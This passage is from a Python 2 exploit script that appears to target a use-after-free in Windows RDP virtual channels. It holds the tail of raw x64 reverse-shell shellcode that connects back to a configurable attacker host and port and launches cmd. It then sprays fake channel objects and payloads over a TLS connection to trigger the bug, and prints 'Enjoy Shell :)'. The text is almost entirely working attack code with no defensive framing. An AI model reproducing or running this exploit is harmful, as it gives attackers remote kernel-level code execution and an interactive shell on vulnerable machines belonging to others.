1\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00' + pack('>H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5'
shellcode = makeKernelUserPayload(reverse_shell, pool_size)
payload = pack('<Q', pool_shellcode_address) + shellcode
for i in xrange(0x1000):
sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
for i in xrange(10):
sendToVirtualChannel(tls, payload, initiator, 1006)
#raw_input('Press Enter To Trigger UAF')
print '[-] Triggering Used After Free'
print
print '[*] Enjoy Shell :) [*]'
print
tls.close()